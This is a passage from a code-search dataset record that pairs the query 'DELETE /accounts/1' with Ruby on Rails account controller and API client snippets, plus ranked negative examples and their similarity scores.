\"edit\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to edit_account_url(@account), notice: 'Account was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to \"/\", notice: 'Account was successfully updated.' }\n format.json { render :index, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t\t\t\ttoken = params[:auth_token]\n\t\t\t\tid = params[:id].to_i\n\n\t\t\t\tif token.nil?\n\t\t\t\t\trender :status => 400,\n\t\t\t\t\t\t:json => { :message => \"The request must contain an auth token.\"}\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\t@user = User.find_by_authentication_token(token)\n\t\t\t\taccount = JSON.parse params[:account]\n\n\t\t\t\tif account[\"username\"].nil?\n\t\t\t\t\trender :status => 400,\n\t\t\t\t\t\t:json => { :message => \"'username' cannot be null.\"}\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\tif account[\"computer_id\"].nil?\n\t\t\t\t\trender :status => 400,\n\t\t\t\t\t\t:json => { :message => \"The request must contain a 'computer_id'.\"}\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\t@accounts = Account.where computer_id: @user.computer_ids\n\t\t\t\tif id != 0\n\t\t\t\t\tunless @accounts.pluck(:id).include? id\n\t\t\t\t\t\trender :status => 401,\n\t\t\t\t\t\t\t:json => { :message => \"Access Denied, check account Id.\"}\n\t\t\t\t\t\treturn\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tputs \n\t\t\t\tputs account\n\t\t\t\tputs \n\t\t\t\tputs account[\"account_process_attrubutes\"]\n\t\t\t\tputs \n\t\t\t\tputs \n\t\t\t\t@account = Account.find(id)\n\t\t\t\tif Account.update(id, account)\n\t\t\t\t\trender json: {account: @account}\n\t\t\t\telse\n\t\t\t\t\trender :json => { :message => \"Something went wrong with saving the entity.\"}\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\tend", "def update\n @account = Account.find(params[:id])\n authorize! :update, @account\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @account.update(account_params)\n render :show, status: :ok, location: @account\n else\n render json: @account.errors, status: :unprocessable_entity\n end\n end", "def set_api_v2_account\n # @account = MasterData::Account.find(params[:id])\n @account = MasterData::Account.find_by(uuid: params[:uuid])\n not_found unless @account\n end", "def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to accounts_path, notice: 'Account was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_account(client, options)\n accounts = get_accounts(client, options)\n if accounts.nil?\n return\n end\n\n account = find_account(accounts, options[:email])\n if !account.nil?\n if !options[:firstname].nil?\n account.given_name = options[:firstname]\n end\n if !options[:surname].nil?\n account.surname = options[:surname]\n end\n if !options[:username].nil?\n account.username = options[:username]\n end \n if !options[:password].nil?\n account.password = options[:password]\n end\n if !options[:status].nil?\n account.status = (options[:status] == \"disabled\" ? Stormpath::Resource::Status::DISABLED : Stormpath::Resource::Status::ENABLED)\n end\n\n begin\n account.save\n puts \"Account updated.\"\n rescue Stormpath::Error => e\n print_error(e)\n end\n else\n puts \"Account not found\"\n return\n end\nend", "def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to @account, notice: t('common.updated', model: human_name) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n sign_in @account\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_api_v1_account\n @api_v1_account = Api::V1::Account.find(params[:id])\n end", "def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to(@account, :notice => 'Account was successfully updated.') }\n #format.xml { head :ok }\n format.json { render :json => @account }\n format.xml { render :xml => @account }\n else\n #format.html { render :action => \"edit\" }\n format.json { render :json => @account.errors, :status => :unprocessable_entity }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n\t\t@account = Account.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @account.update_attributes(params[:account])\n\t\t\t\tformat.html { redirect_to @account, notice: 'Account was successfully updated.' }\n\t\t\t\tformat.json { head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\tformat.json { render json: @account.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def update\n @account = current_user.accounts.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n flash[:notice] = 'Account was successfully updated.'\n format.html { redirect_to([current_user, @account]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to action: \"index\" }\n \n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end", "def set_account\n response = @account_api.find(params[:id])\n @account = response[:account]\n end", "def update\n @account = current_user.person.iphone_accounts.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:iphone_account])\n format.html { redirect_to( accounts_path, :notice => 'Account was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @account.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @company = Company.find(id_from_params)\n\n respond_to do |format|\n if @company.accounts.exists? current_user.account.id\n @company.accounts.delete(current_user.account)\n @company.accounts << current_user.account\n\n format.html { redirect_to root_path, notice: 'Company was successfully updated.' }\n format.json { head :no_content }\n else\n @company.accounts << current_user.account\n format.html { redirect_to root_path, notice: 'Company was successfully updated.' }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def account_put_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: IdentityApi.account_put ...\"\n end\n # resource path\n local_var_path = \"/account\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'body'])\n auth_names = ['basicAuth']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AccountResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IdentityApi#account_put\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def update!(**args)\n @accounts = args[:accounts] if args.key?(:accounts)\n end", "def edit_account(account_id, payload)\n put(\"/account/#{account_id}\", payload)\n end", "def update\n @account = Account.find(params[:id])\n \n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to account_url(@account) }\n format.xml { render :nothing => true }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors.to_xml } \n end\n end\n end", "def update\n account = current_organization.accounts.find(params[:id])\n return forbidden unless account && current_account.allowed_to_edit_account?(account, current_organization)\n return json(account) unless account.update_attributes pick(params, :first_name, :last_name, :email,:language, :document_language)\n\n role = pick(params, :role)\n #account.update_attributes(role) if !role.empty? && current_account.admin?\n membership = current_organization.role_of(account)\n membership.update_attributes(role) if !role.empty? && current_account.admin?\n password = pick(params, :password)[:password]\n if (current_account.id == account.id) && password\n account.update(password: password)\n end\n json account.canonical(membership: membership)\n end", "def update_account(account_number, account_form)\r\n # the base uri for api requests\r\n query_builder = Configuration.base_uri.dup\r\n\r\n # prepare query string for API call\r\n query_builder << '/accounts/{account_number}'\r\n\r\n # process optional query parameters\r\n query_builder = APIHelper.append_url_with_template_parameters query_builder, {\r\n 'account_number' => account_number\r\n }\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n 'user-agent' => 'APIMATIC 2.0',\r\n 'content-type' => 'application/json; charset=utf-8',\r\n 'X-Auth-Token' => Configuration.x_auth_token\r\n }\r\n\r\n # invoke the API call request to fetch the response\r\n response = Unirest.put query_url, headers: headers, parameters: account_form.to_json\r\n\r\n # Error handling using HTTP status codes\r\n if response.code == 401\r\n raise APIException.new 'You are not authenticated', 401, response.raw_body\r\n elsif response.code == 403\r\n raise APIException.new 'This action needs a valid WSSE header', 403, response.raw_body\r\n elsif response.code == 404\r\n raise APIException.new 'Resource not found', 404, response.raw_body\r\n elsif response.code == 400\r\n raise APIException.new 'Http bad request', 400, response.raw_body\r\n elsif !response.code.between?(200, 206) # [200,206] = HTTP OK\r\n raise APIException.new 'HTTP Response Not OK', response.code, response.raw_body\r\n end\r\n\r\n response.body\r\n end", "def update\n keystone.update_tenant({:id=>params[:id],:name=>params[:name],:description=>params[:description],:enabled=>params[:enabled]})\n respond_to do |format|\n format.html { redirect_to tenants_path, :notice => 'Tenant was successfully updated.' }\n format.json { head :ok }\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to account_path(@account), notice: I18n.t('notice.update', model: t('account.name')) }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_current_logged_in_user(args = {}) \n put(\"/users.json/current\", args)\nend", "def update_user_for_tenant(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/{tenantId}/users/{userId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update\n respond_to do |format|\n @account.assign_attributes(account_params)\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to(@account, :notice => 'Account was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(user: nil, account_id: nil, service: nil, endpoint: nil, extra_path: nil, query: {}, page: nil, headers: {})\n post(user: user, account_id: account_id, service: service, endpoint: endpoint, extra_path: extra_path, query: query, page: page, headers: headers, method: :put)\n end", "def put!\n request! :put\n end", "def update\n @account = account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n flash[:notice] = 'account was successfully updated.'\n format.html { redirect_to(@account) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @account = current_user.account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n flash[:notice] = 'Account was successfully updated.'\n format.html { redirect_to(@account) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n response = @account_api.update(params)\n\n respond_to do |format|\n if response[:status] == 200\n format.html { redirect_to accounts_path , notice: 'Account successfully updated.' }\n format.json { render :show, status: :created, location: user_path(response[:body]) }\n else\n format.html { redirect_to edit_account_path(params[:id]), alert: formatted_error_message(response).join(\"<br/>\").html_safe }\n format.json { render json: response[:body], status: :unprocessable_entity }\n end\n end\n end", "def update\n @account.user_updated_id = current_user.id\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to accounts_path, notice: I18n.t('account.controller.update') }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n flash[:notice] = \"Account was successfully updated.\"\n format.html { redirect_to @account }\n format.json { render :show, status: :ok, location: @account }\n else\n flash[:error] = \"Unable to update account: #{@account.errors.full_messages.to_sentence}\"\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to(\"/home\", :notice => 'Account was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Conta atualizada.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @account = current_user.person.blackberry_accounts.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:blackberry_account])\n format.html { redirect_to( accounts_path, :notice => 'Account was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @account.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to edit_user_info_path(session[:user_info_no]) }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to @account, :notice => 'Account was successfully updated.' }\n format.json { head :ok }\n else\n @suppliers = Supplier.all(:order=>:name).collect{|c| [c.name, c.id]}\n @aircraft_types = AircraftType.all(:order => :name).collect{|c| [c.name, c.id]}\n\n format.html { render :action => \"edit\" }\n format.json { render :json => @account.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @inc_stable_account.update(inc_stable_account_params)\n format.html { redirect_to @inc_stable_account, notice: 'Inc stable account was successfully updated.' }\n format.json { render :show, status: :ok, location: @inc_stable_account }\n else\n format.html { render :edit }\n format.json { render json: @inc_stable_account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @oauth_account.update(oauth_account_params)\n format.html { redirect_to @oauth_account, notice: 'Oauth account was successfully updated.' }\n format.json { render :show, status: :ok, location: @oauth_account }\n else\n format.html { render :edit }\n format.json { render json: @oauth_account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(account_identity, body = {})\n @client.account.update(account_identity, body)\n end", "def update\n @user_account = UserAccount.find(params[:id])\n\n respond_to do |format|\n if @user_account.update_attributes(params[:user_account])\n format.html { redirect_to user_account_url(@user_account.user, @user_account), notice: 'User account was successfully updated.' }\n format.json { head :ok }\n format.xml { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_account.errors, status: :unprocessable_entity }\n format.xml { render xml: @user_account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @account.accountName = params[:account][:accountName]\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end", "def update\n authorize @account, :edit?\n respond_to do |format|\n if @account.update_aliases(@aliases) &&\n @account.update(account_params_with_author)\n # keep @account.save at the end of the condition bellow to ensure the right object is returned during rendering\n\n format.html do\n render :show, notice: \"Account was successfully updated.\"\n end\n format.json do\n render json: @account, status: :ok, location: :api_v2_account\n end\n else\n format.html { render :edit }\n format.json do\n render json: @account.errors, status: :unprocessable_entity\n end\n end\n end\n end", "def set_account\n @accounts = Account.find(params[:id])\n end", "def set_account\n @account = Account.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n render json: { error: $ERROR_INFO.message }, status: :not_found\n end", "def update\n flash[:notice] = 'The account was successfully updated.' if account.update_attributes(params[:account])\n respond_with(account)\n end", "def put(*args)\n request :put, *args\n end", "def update(organisation_id, account_number, name, classification, type, tax, currency, options = {})\n body = options.has_key?(:body) ? options[:body] : {}\n body[:organisation_id] = organisation_id\n body[:account_number] = account_number\n body[:name] = name\n body[:classification] = classification\n body[:type] = type\n body[:tax] = tax\n body[:currency] = currency\n\n response = @client.post \"/core.account/update/#{@account_id}\", body, options\n\n return response\n end", "def set_account\n @account = Account.find(params[:id])\n # authorize @accounts\n end", "def update\n render json: User.update(params[\"id\"], params[\"user\"])\n end", "def update(id, params)\n if valid_data?(params)\n update_execution('accounts', params, id)\n else\n print(\"ERROR: couldn't insert account data\")\n end\n end", "def update\n respond_to do |format|\n if @scouts_account.update(scouts_account_params)\n format.html { redirect_to @scouts_account, notice: 'Scouts account was successfully updated.' }\n format.json { render :show, status: :ok, location: @scouts_account }\n else\n format.html { render :edit }\n format.json { render json: @scouts_account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @account = Account.find(params[:id]) \n if @account.update_attributes!(params[:account])\n flash[:success] = \"Profile updated\"\n sign_in @account\n redirect_to @account\n else\n render 'edit'\n end\n end", "def update(id, params = {})\n wrapped_params = { carrier_account: params }\n @client.make_request(:put, \"carrier_accounts/#{id}\", MODEL_CLASS, wrapped_params)\n end", "def update\n @account = Admin::Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n flash[:notice] = 'Admin::Account was successfully updated.'\n format.html { redirect_to(@account) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @house_account = HouseAccount.find(params[:id])\n\n if @house_account.update(params[:house_account])\n head :no_content\n else\n render json: @house_account.errors, status: :unprocessable_entity\n end\n end", "def update\n contract = Contract.find_by_id(params[:id])\n (head :unauthorized unless contract) and return\n \n # try to update the attributes\n if contract.update_attributes(edit_contract_params)\n render json: contract\n else\n render json: { errors: contract.error.full_messages}\n end\n end", "def update\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to accounts_path, notice: 'Hesap güncellendi' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!\n @authorize = nil\n update_plan! &&\n resp = put(\"/users/#{username}.xml\", {\n :user_key => apikey,\n \"user[first_name]\" => first_name,\n \"user[last_name]\" => last_name\n })\n end", "def update\n @capital_account = CapitalAccount.find(params[:id])\n\n respond_to do |format|\n if @capital_account.update_attributes(params[:capital_account])\n format.html { redirect_to @capital_account, :notice => 'Capital account was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @capital_account.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @company_account = CompanyAccount.find(params[:id])\n\n respond_to do |format|\n if @company_account.update_attributes(params[:company_account])\n format.html { redirect_to @company_account, :notice => 'Company account was successfully updated.' }\n # format.json { head :ok }\n format.json {render :json => {:data => @company_account , :success => true } }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @company_account.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @account = current_account \n respond_to do |format|\n if @account.update_attributes(params[:account])\n flash[:notice] = 'Account was successfully updated.'\n format.html { redirect_to user_account_url }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update \n user = User.find_by(username: @current_user.username)\n user.update!(username_edit_params)\n response = { message: Message.account_edited, status: :ok}\n json_response(response)\n end" ]
[ "0.7171354", "0.68998396", "0.6831369", "0.6614414", "0.6534509", "0.65298426", "0.650217", "0.650217", "0.6489508", "0.64866304", "0.648625", "0.6464929", "0.646357", "0.6462444", "0.64484173", "0.64045215", "0.64007765", "0.6391459", "0.6370063", "0.636715", "0.6366587", "0.6357608", "0.63225144", "0.63053334", "0.6291741", "0.62723243", "0.6271458", "0.6269262", "0.6256068", "0.6256047", "0.6253776", "0.6248741", "0.6224977", "0.6224753", "0.6211248", "0.61950964", "0.61941844", "0.6183418", "0.61754954", "0.61735165", "0.6173501", "0.6173301", "0.6173301", "0.6173301", "0.6173301", "0.6173301", "0.6173301", "0.6173301", "0.6173301", "0.6173301", "0.6173301", "0.6173301", "0.6173301", "0.6173301", "0.6173301", "0.6173301", "0.6173301", "0.6173301", "0.61418825", "0.6116773", "0.61094564", "0.6105398", "0.6101312", "0.6084828", "0.60801256", "0.6079147", "0.6076973", "0.60562676", "0.605468", "0.6053373", "0.60428137", "0.6036127", "0.6033092", "0.602759", "0.602515", "0.6017527", "0.60066926", "0.60058373", "0.60022604", "0.5987278", "0.59813154", "0.5979515", "0.59733194", "0.59693414", "0.59681886", "0.5965828", "0.59585744", "0.5936373", "0.5931095", "0.59227526", "0.592092", "0.59195715", "0.59157354", "0.5891674", "0.5888597", "0.5882516", "0.5880985", "0.5878995", "0.58783495", "0.58687717" ]
0.6170656
58
DELETE /accounts/1 DELETE /accounts/1.json
def destroy @account = Account.find(params[:id]) @account.destroy respond_to do |format| format.html { redirect_to accounts_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete_account\n @connection.request({\n :method => 'DELETE'\n }) \n end", "def destroy\n @api_v1_account.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_account\n @connection.request({\n :method => 'DELETE'\n })\n end", "def destroy\n @account = Account.find(params[:id])\n @account.destroy\n\n respond_to do |format|\n format.html { redirect_to accounts_url }\n format.json { head :ok }\n end\n end", "def destroy\n @account = Account.find(params[:id])\n @account.destroy\n\n respond_to do |format|\n format.html { redirect_to accounts_url }\n format.json { head :ok }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @account = Account.find(params[:id])\r\n @account.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to accounts_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\r\n @account = Account.find(params[:id])\r\n @account.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to accounts_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def delete!\n resource = RESOURCE % { account_id: account.id, id: id }\n response = Request.new(account.client, :delete, resource).perform\n from_response(response.body[:data])\n end", "def destroy\n @account = Account.find(params[:id])\n @account.destroy\n\n respond_to do |format|\n format.html { redirect_to accounts_url }\n format.json { head :no_content }\n format.xml { head :no_content }\n end\n end", "def delete_accounts\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: I18n.t('account.controller.destroy') }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @account.destroy\n respond_to do |format|\n flash[:notice] = \"Account was successfully removed.\"\n format.html { redirect_to accounts_url(filter: \"all\") }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n 